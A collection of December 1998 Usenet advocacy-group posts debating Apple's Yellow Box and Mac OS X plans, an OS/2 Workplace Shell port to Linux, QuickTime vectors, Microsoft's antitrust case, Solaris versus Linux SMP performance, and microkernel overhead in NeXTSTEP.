References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <3670A26C.6E69C31E@nstar.net> <74u5bc$bb4@news1.panix.com> <3672BC37.53083A9@nstar.net> <74ujrs$faj@news1.panix.com> <367316E2.38925C5F@nstar.net> <75119s$712@news1.panix.com>
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Sal Denaro wrote:
[cut]
> Do you think that Apple should pull people off of development of OSX for its
> current installed base of 22+ million in order to try grabbing *some portion* of
> an 8-12 million user market?
Where did you get these numbers? Mac OS X has an installed base of 22+
million? Who told you this? You say "current installed base of 22+
million" in contrast to "*some portion* of an 8-12 million...". I
suppose this means that Apple currently develops Mac OS X for 100% of a
22+ million market. Is that what you meant?
> Now, why should they do that BEFORE they resolved
> the issue of free runtimes?
Who said they had to resolve that issue? I never stipulated that YB for
Linux had to be free. I never said it had to be Open Source. Quit adding
conditions to the argument.
> You keep dodging those two questions.
*laugh* That's funny.
[all-caps statements snipped; when you can stop shouting and start
acting like a grown-up on USENET, we'll talk]
> >I've already made this clear, Sal. Why I would have to explain things to
> >you 3 and 4 times escapes me.
>
> I can point out at least FIVE TIMES where I have stated that a port of YB for
> Linux would be dependent on DPS, a product that Adobe is activly trying to kill;
> and therefore probibly not the best use of Apple's resources. Show me where you
> have EVER stated a reason why you won't be interested in YB for Win95.
What is this flailing about? You don't have the slightest idea how to
follow this conversation, have you? You just pick random bits of
conversation from thin air and throw them at people, apparently.
If you're asking *why* I'm not interested in YB for Win95 (Sal mode on:
"Show me where you have EVER asked my why I won't be interested in YB
for Win95."), the answer is that I don't develop for Win95, and don't
plan on doing it soon.
> >> Did you or did you not state that "YB losses because it is based on Obj-C"?
> >I made that statement in a prior posting, which, in context, was not
> >factual and not a statement of my opinion. If you read more carefully
> >you'll pick this up.
>
> Typical word lawyering. It wasn't a fact and it wasn't your opinion? What
> was it doing in something _you_ posted?
This is so laughable. The more you belabor this point the more you
demonstrate how you misread and misunderstood that posting. Reading
comprehension is your job, not mine; I've already told you I won't be
your babysitter.
> YB *is* based on Obj-C, though you can use Java or Obj-C to access it. (And
> with a 3rd party product you can use Python, Perl and a few other languages)
Yep.
> >What does the NeXT UI have to do with a Linux port of Yellow Box?
> >Nothing.
>
> Linux lacks a "native UI", therefore a YB port to Linux would use one of the
> existing UIs supported by YB.
And that, my friend, is something you just made up out of thin air. Take
a bow.
> The likely candidate is the MacOS that currently
> runs on OSX Server. While it looks like MacOS, the feel is a lot more like
> NeXTStep (window behavior, D&D, C-C-P, Services, tear off menu, common dialogs
> et al) If you didn't like NS, I very much doubt you'll like the MacOS UI in
> YellowBox.
Why don't you write the port? You have clearly already made all of the
critical design decisions for Apple.
MJP
From: Mark Woodward <markw@mohawksoft.com>
Newsgroups: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: OS/2 and failure
Date: Tue, 01 Dec 1998 10:55:23 -0500
Organization: Mohawk Software
Message-ID: <3664116B.8EF3ED09@mohawksoft.com>
References: <365D8F89.87AF75E7@csi.com> <366067bb$1$rfgure$mr2ice@news.primenet.com> <8AB0DB974C012F47.3E699E1BE6D10974.D3D210F886594A99@library-proxy.airnews.net> <slrn767pnv.8vk.possum@ss5.fred.net> <3665f04b.569033@news-server>
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Steven C. Den Beste wrote:
>
> On Tue, 01 Dec 1998 12:54:24 GMT, Mike Trettel graced us with this wisdom:
>
> There's also this: What incentive does IBM have for doing this? Every time
> this comes up people come up with all sorts of reasons why *they* wish IBM
> would do it, but no-one can come up with a plausible motive for *IBM* to do
> this.
>
> How would releasing the WPS source benefit IBM? How would it increase their
> profit? Since your hope is to port it to Linux, all that does is increase
> the competitive pressure on OS/2 and cause profits to decline. How is that a
> good thing for IBM?
>
> --------
> Steven C. Den Beste sdenbes1@san.rr.com
>
> "Ignorance can be cured. Stupid is for life."
This is the easiest question, why should IBM port WPS to Linux? Many
many reasons:
Give the OS/2 users an upgrade path.
Work out a lot of OS/2 to Linux issues and issue an IBM Linux with WPS.
(Which would be Soooo cool)
The prospect of an IBM Linux would be very cool, it could allow IBM to
sell into the high volume x86 market without Windows NT.
It would make a great companion to AIX.
They are already in the process of helping out SCO, why not port to
Linux as well.
I doubt there are any "trade" secrets or patents in WPS that mean
anything if OS/2 does without a WPS successor.
--
Mohawk Software
Expert Solutions Now! Windows 95, Windows NT, UNIX,
Linux. Applications, drivers, support.
Visit the Mohawk Software website: www.mohawksoft.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: mpaque@ncal.verio.com
Organization: needs one
References: <*johnnyc*-2711981727050001@jchristie.halifaxcable.dal.ca> <B28486B7-146CC@206.165.43.169>
<36633FC6.2DD6EB67@ncal.verio.com>
Mime-Version: 1.0
Date: Tue, 1 Dec 1998 15:44:41 GMT
In <36633FC6.2DD6EB67@ncal.verio.com> Mike Paquette wrote:
> > word-processor or drawing app that uses GX can *directly* turn itself
> into
> > a QT vectors image with no limitations or loss of fidelity.
>
> IF and only IF the developer calls all the right APIs...
Note that the single developer Lawson has mentioned that actually used
QTV, WebPainter, specifically disagrees with him on this point, and they
were able to add complete vector support without any GX. Of course the
argument itself is flawed. It's basing the survival of one product on the
fact that portions were used in another. That's a really bad idea that
cripped Apple's engineering in the early 90's.
It is interesting to consider whether or not GX is the right model in the
first place for QT, or whether something else that was actually designed
FOR QT wouldn't be more appropriate.
> *SNORT* What's this crap? The Cigarette Smoking Man work for Adobe
> these days? Adobe has lost control of the standards. More non-Adobe
> PostScript compatible RIPs are shipping than 'Genuine Adobe Inside'
> PostScript in commercial printers. A standards committee is already
> grinding away on PDF. Another standards group is working on an Internet
> Vector Graphics standard as an XGML extension. (Guess who's
> well-represented and quite active there.)
Speaking of, which of the two is currently "more active"? I liked both
basically, the Adobe supported format seemed richer (although the paint
servers concept needs work IMHO) but the MS/Visio supported one made much
better use of CSS. I'd definitely like to see some of the Adobe's format's
ivars offloaded into styles, then I think it would be much more powerful.
Maury
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy,comp.os.linux.advocacy
Subject: Re: M$: Really the Best Talent?
Date: 15 Dec 1998 15:28:20 +0100
Organization: The Computer Society at Lund
Message-ID: <755rm4$vn$1@bartlet.df.lth.se>
References: <36717987.21076075@news2.asan.com> <3675528A.5C1F756F@cadence.com> <36755e23.17903984@news2.asan.com> <L9BY9tzSDwrQ-pn2-kWLxrXEu1Wsk@localhost>
NNTP-Posting-User: cb
In article <L9BY9tzSDwrQ-pn2-kWLxrXEu1Wsk@localhost>,
Karel Jansens <jansens_at_ibm_dot_net> wrote:
>As for better or worse than Win9x: I think even CP/M multitasked better
>than Win9x, but that's my personal opinion, of course.
You must mean MP/M, of course.
CP/M was, of course, the 'Control Program for Microprocessors'; and MP/M
was the 'Multiuser Program for Microprocessors' or somesuch. Basically, it
offered multitasking, multiuser functionality on a single Z80 box. Yes, up
to 16 (I think) distinct users working on one little Z80 machine, each
living in their own CP/M-like environment.
All of this is vague information from memory; would someone who _knows_
please add some facts ? :)
>
>Karel Jansens
>jansens_at_ibm_dot_net
// Christian Brunschen
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
Date: Tue, 15 Dec 1998 14:20:38 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <755r7k$70p$1@nnrp1.dejanews.com>
References: <jc403-1412980322310001@jxn.watt.rhno.columbia.edu> <36760949.4491@earthlink.net>
skellener@earthlink.net wrote:
> Jackson Cheung wrote:
> > However, will we be be moving into a world of 3 letter
> > extensions when shifting to MacOS X (specifically Yellow box)?
>
> 3 letters or more!
Actually, it could be less, if NeXTSTEP is a guide. Lots of two-letter
extensions there (eg .wp). As well as three-letter, four-letter (eg .open),
and even more.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Steve Jobs:Potential Time Man of the year
Date: Tue, 15 Dec 1998 14:23:17 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <755rci$79o$1@nnrp1.dejanews.com>
References: <74vqg3$j6o$1@neon.Mlink.NET> <SCOTT.98Dec14093140@slave.doubleu.com>
scott@nospam.doubleu.com (Scott Hess) wrote:
> Time Magazine is considering Steve Jobs as the next Man of The Year
> Every mac/ NeXT advocate should read this article, vote and spread
> the news: http://www.maccentral.com/news/9812/12.time.shtml
> Among Steve Jobs' competition this year are Monica Lewinsky,
> Kenneth Starr, Bill Clinton, Mark McGwire, John Glenn and many
> more. You can place your vote at:
> http://cgi.pathfinder.com/time/moy/index.html
>
> After reading the list, I'm pretty certain that if God _hadn't_ been
> planning to tidy things up with an exciting millenial celebration,
> She's certainly planning to do so now...
A lovely aspect is that "click on pop-up" is actually in fifth place!
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: petrich@netcom.com (Loren Petrich)
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Message-ID: <petrichF40Gu1.n25@netcom.com>
Organization: Netcom
References: <36717987.21076075@news2.asan.com> <3673C094.7C814583@brown.edu> <3673de8f.1614090@news2.asan.com> <3675358B.87637823@ericsson.com>
Date: Tue, 15 Dec 1998 14:42:01 GMT
Sender: petrich@netcom18.netcom.com
In article <3675358B.87637823@ericsson.com>,
Michael Peck <michael.peck@ericsson.com> wrote:
>Give it up, Willy. Every time someone here in USENET challenges the
>half-baked political notions held by most of the technical elite it
>sparks a contest to see who can post the most amateurish and
>self-indulgent political theory to support federal activism. ...
What is the "elite"? Are you proud of what a peasant you are?
Also, would you prefer seeing direct action???
--
Loren Petrich Happiness is a fast Macintosh
petrich@netcom.com And a fast train
My home page: http://www.petrich.com/home.html
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Content-Type: text/plain; charset=us-ascii
Message-ID: <F40J4r.4FE@T-FCN.Net>
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Cc: mjpeck@nstar.net
Organization: needs one
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu>
<3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net>
<3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com>
<3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com>
<7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net>
Mime-Version: 1.0
Date: Tue, 15 Dec 1998 15:31:39 GMT
In <3675C7C4.861C5575@nstar.net> "Michael J. Peck" wrote:
> I still think that that's a serious mistake; the omission of X Windows
> could well be the most important one.
Or should Apple be moving YB to Linux? I think either way "solves" the
problem, although the former solution seems (sadly) a lot more likely.
Maury
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 15 Dec 1998 16:44:32 GMT
Organization: Primenet (602)416-7000
Message-ID: <7563lg$89l$1@nnrp03.primenet.com>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net>
<19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <F40J4r.4FE@T-FCN.Net>
Maury Markowitz <maury@remove_this.istar.ca> wrote:
: In <3675C7C4.861C5575@nstar.net> "Michael J. Peck" wrote:
: > I still think that that's a serious mistake; the omission of X Windows
: > could well be the most important one.
: Or should Apple be moving YB to Linux? I think either way "solves" the
: problem, although the former solution seems (sadly) a lot more likely.
I think something like this could satisfy Apple's goals ... and satisfy
users of the more hackerly nature. If Apple floated their consumer OS on
a generic PPC Linux (but only released it for their hardware), they could
use generic Linux software as well as their own improvements to drive
hardware sales. The risk would be in riding the Linux tiger. If a free
desktop got good, would Apple be forced to adopt it?
To me the more interesting question (and more likely scenarilo) is what
will happen if Linux remains the outsider. What will the Linux desktop
look like in 3-5 years if it continues purely as a grass-roots family of
projects?
John
From: davewang@cslab.kecl.ntt.co.jp.DELETE.delete.DELETE@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Followup-To: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Date: 14 Dec 1998 04:24:12 GMT
Organization: University of Maryland, College Park
Message-ID: <7523tc$co2$7@hecate.umd.edu>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <adt <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net>
Joe Ragosta (joe.ragosta@dol.net) wrote:
: In article <3670B38C.812ACA60@nstar.net>, "Michael J. Peck"
: <mjpeck@nstar.net> wrote:
: > Gregory Loren Hansen wrote:
: >
: > [cut]
: >
: > > If MacOS X is a good Unix, it will diffuse into the Unix world. Maybe
: > > faster because Apple is bigger than any single Unix vendor.
: >
: > MacOS X could be a good Unix, but it probably won't. The FAQ stresses
: > that it is not, in Apple's opinion, a traditional Unix system. That's
: > not conclusive, but it certainly raises some disappointing
: > possibilities.
: Of course, "not a traditional Unix" doesn't imply that it won't be a good Unix.
: AFAIK, Mac OS X will have full BSD Unix support.
: My guess is that it will be optimized for ease of use. If you want balls
: to the walls maximum performance, you're probably better off with a system
: like Linux or a commercial Unix. But if you want a combination of good
: performance, ease of use, and features, it should be a good alternative.
What the heck is a "good unix"? What is a "bad unix"? And other than
the GUI (which NeXTStep already had) What "ease of use" features could
they add to "unix"? This is all very strange to me.
: --
: Regards,
: Joe Ragosta
--
davewang@kagututi.kecl.ntt.co.jp.I.like.green.eggs.and.ham,not.spam
All statements are personal opinions
Not speaking for NTT or University of Maryland
Kyoto, Japan.
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: cdouty@netcom.com (Chris Douty)
Subject: Re: M$: Really the Best Talent?
Message-ID: <cdoutyF40s05.GHv@netcom.com>
Sender: cdouty@netcom8.netcom.com
Organization: Netcom Online Services, Inc.
References: <36717987.21076075@news2.asan.com> <y1uvhjephbw.fsf@acuson.com> <ye090gape0z.fsf@aruba.informatik.uni-wuerzburg.de> <y1un24qozb2.fsf@acuson.com>
Date: Tue, 15 Dec 1998 18:43:16 GMT
In article <y1un24qozb2.fsf@acuson.com>,
Darin Johnson <darin@usa.net.nospam> wrote:
>token@cip.informatik.uni-wuerzburg.de (Matthias Buelow) writes:
>
>> You'll notice it if you load a gnu/linux machine a bit more than
>> a little. For example Solaris scales extremely well on SMP
>> architectures.
>
>Quite a lot have mentioned SMP so far. The only SMP Solaris machines
>I've seen are backroom compute servers, not desktop machines.
There are a few SMP desktop/deskside workstations from Sun. It is true
that most of their big SMP machines are servers to be hidden away in an
air conditioned room. In the current generation, the Ultra 2, Ultra 60,
and Ultra 450 (in its heavy-duty workstation mode) are SMP capable
workstations. Sun also sells the same machine without a fancy monitor
and with a different logo as a server. Seeing as the Ultra 60 starts at
$30k or so not that many are made. Most people get by fine with the
Ultra 5 or 10 for desktop use. The bigger workstations generally have
better throughput not to mention more CPU for demanding graphics,
CAD/CAM, or engineering applications.
>Are there any comparisons of SMP on Sparc Solaris versus Sparc Linux?
>I know people are working on this.
I'd love to see some. Sun has been working for years on multi-threaded
I/O and efficient utilization of multiple CPUs for multi-tasking
environments. However, Linux has shown truly excellent performance
(better than Solaris) on SuperSPARC hardware. I haven't seen any data on
the UltraSPARC ports; they are rather new.
>One big difference I do see between Linux and commercial UNIX, is that
>the commercial UNIXen seem to have less and less in each release. I
>remember when each new BSD release had tons of wonderful new stuff in
>it, useful stuff, and all the UNIX varieties would eventually copy it.
>Each new commercial UNIX release now just seem a bit blase, whereas
>Linux is still evolving and improving. I think the difference is that
>the commercial UNIX makers have lost site of long term technical goals
>(well, maybe not Sun, but at least HP and IBM seem to have stopped
>bothering with UNIX itself and are focusing on apps instead).
There is that impression. Many vendors choose to unbundle utilities
previously included in the system. The feature list does not seem to
grow very quickly, since most vendors already have feature-rich systems
and unbundled products for everything. Most of the work on commercial
Unixes seems to be on speed, stability, and standards tracking. Linux is
driven by whatever features or capabilities that people want to add and
can make happen. This of course includes speed, stability, and standards
tracking.
Apps are where the money is.
-Chris
--
Christopher Douty - Rogue Engineer trapped in a land of software
cdouty@netcom.com
"Frequently the messages have meaning; that is they refer to or are correlated
according to some system with physical or conceptual entities. These semantic
aspects of communication are irrelevant to the engineering problem." -Shannon
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Content-Type: text/plain; charset=us-ascii
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References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu>
<3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net>
<3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com>
<3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com>
<7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net>
<F40J4r.4FE@T-FCN.Net> <7563lg$89l$1@nnrp03.primenet.com>
Mime-Version: 1.0
Date: Tue, 15 Dec 1998 18:44:58 GMT
In <7563lg$89l$1@nnrp03.primenet.com> John Jensen wrote:
> I think something like this could satisfy Apple's goals ... and satisfy
> users of the more hackerly nature.
I've asked it before and I'll ask it again, will the Linux community
accept a commercial non-open system as the basis for the application
support?
> To me the more interesting question (and more likely scenarilo) is what
> will happen if Linux remains the outsider. What will the Linux desktop
> look like in 3-5 years if it continues purely as a grass-roots family of
> projects?
Yes, good question. Frankly however I haven't seen anything in the
projects I've seen so far that I find even remotely groundbreaking.
They're all open/free/lefted versions of older projects, some simply to get
around licencing (the whole CDE/KDE thing) and others to get at better
software (GNUStep). Is there anything _truely_ amazing out there?
Maury
From: distler@golem.ph.utexas.edu (Jacques Distler)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
Date: Tue, 15 Dec 1998 12:36:10 -0600
Organization: Physics Department, University of Texas at Austin
Message-ID: <distler-1512981236450001@192.168.0.1>
References: <jc403-1412980322310001@jxn.watt.rhno.columbia.edu> <F3ypM7.6ME@T-FCN.Net> <753r26$5e$1@news.xmission.com>
/gnVR"|LWyKVK{`$&t&`k{]Q^x*"ihe+^hTvWs@IEMtYI5RVzGFBPcMu`}>@#^Fm:<)M
w83/\[@#\u?TVrF3fqDjK?
In article <753r26$5e$1@news.xmission.com>, don@misckit.com wrote:
>So I've set up .html files to open up in a programmer's text editor, since I
>tend to edit HTML more often than view it. That's my preference. Most
>people would make a browser such as OmniWeb be the default application for
>opening .html files, I would expect.
And there's no way to set this on a per-file basis.
Eg, .html file that you are currently working on opened by your text
editor, the rest (say, the default behaviour) opened by OmniWeb.
>If an application is already running (or on the dock in OPENSTEP/NEXTSTEP),
>then you can also command-drag the file and drop it onto the application to
>cause that application to open the file. Even if the application doesn't
>register for that type of file, it will be asked to open it anyway. It will
>try to do so; if it can open the file, it will.
But if the Application isn't running, and isn't in the Dock,
command-dragging a document won't launch it (unlike, eg, in the current
MacOS Finder).
--
PGP public key: http://golem.ph.utexas.edu/~distler/distler.asc
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: NEXT UI on MacOS 8.x
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
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References: <14Nc2.20795$q15.465873@news.san.rr.com> <F3ypnu.6p0@T-FCN.Net>
<KFjd2.20992$q15.477809@news.san.rr.com>
Mime-Version: 1.0
Date: Tue, 15 Dec 1998 18:46:36 GMT
In <KFjd2.20992$q15.477809@news.san.rr.com> "Ed Deans." wrote:
> John Kheit, here:
> <http://people.ne.mediaone.net/jkheit/index.html>
Danka.
Maury
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Tue, 15 Dec 1998 13:14:20 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3676B50C.4DC3479F@ericsson.com>
References: <36717987.21076075@news2.asan.com> <3673C094.7C814583@brown.edu> <3673de8f.1614090@news2.asan.com> <3675358B.87637823@ericsson.com> <petrichF40Gu1.n25@netcom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Loren Petrich wrote:
> >Give it up, Willy. Every time someone here in USENET challenges the
> >half-baked political notions held by most of the technical elite it
> >sparks a contest to see who can post the most amateurish and
> >self-indulgent political theory to support federal activism. ...
>
> What is the "elite"?
Elite, Anointed, there are many handles for those who presume to speak
and act on behalf of beknighted "masses". They once masqueraded as the
Party in Communist Russia, and more recently have sat in
navel-contemplation during American Congressional hearings, which
activity is normally followed by TV camera time speaking beneficently
for "what the American people want".
But don't think that they're only in government. The belief that "all
animals are equal, but some are more equal than others" is quite
prevalent throughout all sectors of society.
> Are you proud of what a peasant you are?
I think I rather am.
> Also, would you prefer seeing direct action???
Not quite sure what you mean. It sounds like you're emphasizing the
difference between "direct" and "indirect", wherever that comparison
comes from in this thread. The real distinction would be "who is
partaking of said action, and why?". That question is rarely asked by
those who concern themselves with the form and quantity of Power rather
than its intent or (heaven forbid!) its limitations.
MJP
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Tue, 15 Dec 1998 12:58:04 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3676B13C.77DDB0D1@ericsson.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net>
<ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net>
<74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net>
<FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com>
<FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com>
<3670A26C.6E69C31E@nstar.net> <74u5bc$bb4@news1.panix.com>
<3672BC37.53083A9@nstar.net> <74ujrs$faj@news1.panix.com>
<367316E2.38925C5F@nstar.net> <75119s$712@news1.panix.com>
<36754DE4.A7435E0B@ericsson.com> <F40JH4.4MM@T-FCN.Net>
Mime-Version: 1.0
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Maury Markowitz wrote:
>
> In <36754DE4.A7435E0B@ericsson.com> Michael Peck wrote:
> > Where did you get these numbers? Mac OS X has an installed base of 22+
> > million?
>
> He didn't say _X_. Why do you always feel compelled to do this?
He said that Apple must decide between throwing all of its resources at
an installed base of 22+ million or diverting some of them to "some
portion of 8-10 million". The dishonesty of that comparison is plain; if
Apple could only shoot for "some portion of 8-10 million" the best it
can hope for in the Macintosh market is "some portion of 22+ million".
The very ambiguity and sleight-of-hand in the comparison demanded
clarification.
I feel compelled to call for clarification when loaded comments threaten
to derail conversation. The comment Sal made was calculated to favor his
argument that a Linux port is not advisable, and it did so with
misleading and dishonest intent, in my opinion. Even so, my opinion
can't be trusted, so I gave Sal the benefit of the doubt by asking for
clarification.
Would that you felt compelled to do the same, Maury.
> > million" in contrast to "*some portion* of an 8-12 million...". I
> > suppose this means that Apple currently develops Mac OS X for 100% of a
> > 22+ million market. Is that what you meant?
>
> Yes, I think that's their aim anyway. More specifically I think their aim
> is to get a significant portion of those 22+ million to upgrade both their
> machines _and_ their OS. It's a dream that I don't think they'll get more
> than 25% of, but still. Given current installed base and reasonable
> numbers of upgrades, I'd say 10 million is a reasonable number.
If Sal's question had been "do you think Apple should divert OS X
resources to a YB Linux port, considering that OS X will probably
achieve 10 million users, while YB Linux can only get some percentage of
that?", then I would have answered "yes". It's pretty simple.
Unfortunately, Sal did not ask that question. Funny how I get blamed for
that, but hey. Shoot the messenger, I always say.
> Now is10 million of the current Mac market better than 8-10 million of
> the current Linux market? Hard to say, there's arguments that go both ways.
Nobody's saying one is better than the other. I don't know what in the
world that has to do with anything.
> > Who said they had to resolve that issue? I never stipulated that YB for
> > Linux had to be free. I never said it had to be Open Source. Quit adding
> > conditions to the argument.
>
> Why should he, you do it all the time!
Accusations, accusations. Post in context, or don't post.
MJP
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Tue, 15 Dec 1998 19:01:47 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <756bmq$mgv$1@nnrp1.dejanews.com>
References: <36717987.21076075@news2.asan.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <750j9i$nbh$1@wuff.mayn.de> <3673e424.3043095@news2.asan.com> <3674BA41.9F874D97@brown.edu> <3675851d.1290680718@news.isomedia.com>
In article <3675851d.1290680718@news.isomedia.com>,
sang@isomedia.com.remove.this.com (Sang K. Choe) wrote:
> On Mon, 14 Dec 1998 03:12:04 -0400, Ben White
> <benjamin_white@brown.edu> wrote:
[ ... ]
> I'm not sure where you got that idea that changing DNS setting under
> NT requires a reboot, but this doesn't. Nor does changing routing
> tables.
Under NT 4.0SP3:
Start->Settings->Control Panel, Network->Protocols->TCP/IP->Properties WINS
Address Tab, toggle "Enable DNS for Windows Resolution" checkbox twice (to
restore to original value), hit Apply, Okay, Close.
Receive a dialog box stating "You must shut down and restart your computer
before the new settings will take effect."...
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Jin Kim" <kwazyjin@hotmail.com>
Newsgroups: comp.sys.next.advocacy
Subject: Performance issue with microkernel based OS
Message-ID: <GOyd2.1558$4w2.6884159@news.itd.umich.edu>
Date: Tue, 15 Dec 1998 14:28:27 -0500
NNTP-Posting-Date: Tue, 15 Dec 1998 14:31:50 EDT
Hello,
I was wondering if those who've used NeXTStep in the past could give me an
objective view on the performance hit due to microkernel. My OS book from
college describes Mach3.0 as quite fast .It also implies that 4.3BSD on
Mach3.0 has about the equivalent performance of monolithic 4.3BSD, if not
better. That lead me to believe that Mach3.0 has enough internal
performance gain to make up for the performance hit due to layering. I was
quite concerned about this issue earlier, but later thought it wasn't that
big of deal.
However, recently I've been discussing performance issues in comparison to
UNIX variants and haven't really been able to show that while OS X does
suffer from some performance hit due to microkerneling, it should fair well.
I'm always having to retreat b/c the other side points to MkLinux as an
example of why microkerneled OS is slow in comparison to monolithic kernel.
I do believe that MkLinux implementation isn't where it could be.
Nevertheless, MkLinux is quite slow in comparison to LinuxPPC, which is
monolithic.
I've used NeXTStep before, but not enough to be confidant with its
performance. I have no tangible benchmarks to show that Mach3.0 based OS
has equivalent or better performance than monolithic OS. Actually the only
benchmark that I could find was the one between MkLinux and LinuxPPC which
shows LinuxPPC as being much faster.
So, what are your opinion on this issue? Do any of you have benchmarks of
NeXTStep/OpenStep vs. monolithic UNIX on similar hardware?
Thank you for your insights.
- Jin
